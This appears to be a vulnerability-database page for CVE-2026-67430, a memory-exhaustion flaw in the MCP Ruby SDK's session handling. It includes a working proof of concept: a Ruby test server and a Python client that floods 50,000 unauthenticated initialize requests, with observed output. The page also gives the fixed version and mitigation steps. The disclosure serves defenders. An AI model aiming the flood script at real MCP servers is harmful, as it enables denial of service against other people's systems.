Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
💎
💎 RubyGems
Not in CISA KEV
MEDIUM severity

CVE-2026-67430 — mcp

MEDIUMFix: modelcontextprotocol/ruby-sdk@afb968c

CVE-2026-67430 is a medium-severity (CVSS 5.3) CWE-401 vulnerability in mcp. A fix is available for mcp — see the affected versions and patch details below.

MCP Ruby SDK: Unbounded session retention in StreamableHTTPTransport allows memory exhaustion via initialize flood

Also known asGHSA-52jp-gj8w-j6xh
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 29, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-67430.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk-0.14%
Lower risk than most CVEs30th percentile — riskier than 30% of all scored CVEsHighest risk
0.00%0.34%0.67%1.01%0.3%0.3%0.5%0.4%Aug 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-67430 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 397,508 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
💎mcp

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.

Description

Summary

In its default configuration, MCP::Server::Transports::StreamableHTTPTransport never expires sessions. Every successful initialize request stores a new ServerSession and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP DELETE. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of ServerSession objects until memory is exhausted.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb:

  • Line 27, constructor: def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil) — the default for session_idle_timeout is nil.
  • Line 46: start_reaper_thread if @session_idle_timeout — when the timeout is nil, the reaper that prunes idle sessions is never started.
  • Lines 604–643 (handle_initialization): every successful initialize inserts a new session record; the only removal sites are handle_delete (client-controlled) and stream-error paths.

The project README acknowledges the insecure default (line 1605):

By default, sessions do not expire. To mitigate session hijacking risks, you can set a session_idle_timeout (in seconds).

Per-session memory cost is non-trivial: each entry contains a ServerSession instance (with its own Mutex, @in_flight hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request Queue allocations.

Proof of concept

Server (session_poc_server.rb)

Starts the transport in its default configuration (no session_idle_timeout) and reports the in-memory session count plus process RSS every two seconds.

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "session-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)

Thread.new do
  loop do
    sessions = transport.instance_variable_get(:@sessions)
    count = sessions ? sessions.size : 0
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] sessions=#{count}  RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9295/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9295,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (session_poc_client.py)

import concurrent.futures, json, socket, time

HOST, PORT = "127.0.0.1", 9295
TOTAL, WORKERS = 50_000, 32

INIT = json.dumps({
    "jsonrpc": "2.0", "id": 1, "method": "initialize",
    "params": {"protocolVersion": "2025-11-25", "capabilities": {},
               "clientInfo": {"name": "flooder", "version": "1.0"}}
}).encode()

REQ = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(INIT)}\r\nConnection: close\r\n\r\n"
).encode() + INIT

def one():
    try:
        s = socket.create_connection((HOST, PORT), timeout=5)
        s.sendall(REQ)
        data = b""
        while True:
            c = s.recv(8192)
            if not c: break
            data += c
        s.close()
        return b"mcp-session-id" in data.lower()
    except OSError:
        return False

start = time.time()
created = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:
    futs = [ex.submit(one) for _ in range(TOTAL)]
    for i, f in enumerate(concurrent.futures.as_completed(futs), 1):
        if f.result():
            created += 1
        if i % 1000 == 0:
            print(f"[poc] dispatched {i} reqs, {created} sessions confirmed, "
                  f"elapsed {time.time() - start:.1f}s")

print(f"[poc] done. {created}/{TOTAL} sessions confirmed in "
      f"{time.time() - start:.1f}s")

Reproduction commands

bundle install
ruby session_poc_server.rb          # terminal A
python3 session_poc_client.py       # terminal B

Observed result

Tested on macOS, Ruby 3.2.4, against the SDK's main branch.

Server terminal:

[mem] sessions=0      RSS=45  MB
[mem] sessions=2605   RSS=56  MB
[mem] sessions=11587  RSS=72  MB
[mem] sessions=23119  RSS=85  MB
[mem] sessions=34391  RSS=119 MB
[mem] sessions=45325  RSS=128 MB
[mem] sessions=50000  RSS=154 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB     # plateau persists indefinitely

Client terminal:

[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s
[poc] done. 50000/50000 sessions confirmed in 26.6s

50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.

<img width="3544" height="1674" alt="image" src="https://github.com/user-attachments/assets/89ac35ab-5629-4b48-83f8-e26a92b3e45c" />

Impact

  • Attacker requirements: unauthenticated TCP reach of the MCP endpoint. No session, no credentials.
  • Effect: memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others.
  • Affected deployments: every deployment that does not opt into session_idle_timeout. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.

Suggested mitigation

  1. Change the default of session_idle_timeout to a finite value (e.g. 30 minutes) and document the change as a security default.
  2. Add a max_sessions: constructor option; reject initialize with HTTP 503 once the cap is reached.
  3. Track the time of the initialize POST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
💎RubyGemsmcpall versions0.23.0bundle update mcp --conservative

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mcp, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update mcp to 0.23.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-67430 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

## Summary In its default configuration, `MCP::Server::Transports::StreamableHTTPTransport` never expires sessions. Every successful `initialize` request stores a new `ServerSession` and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP `DELETE`. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of `ServerSession` objects until memory is exhausted. ## Affected component `lib/mcp/server/transports/streamable_http_transport.rb`: - Line 27, con
O3 Security · Impact-Aware SCA

Is CVE-2026-67430 in your dependencies?

Find it across RubyGems, including transitive dependencies.

CVE-2026-67430: mcp DoS — Fixed in 0.23.0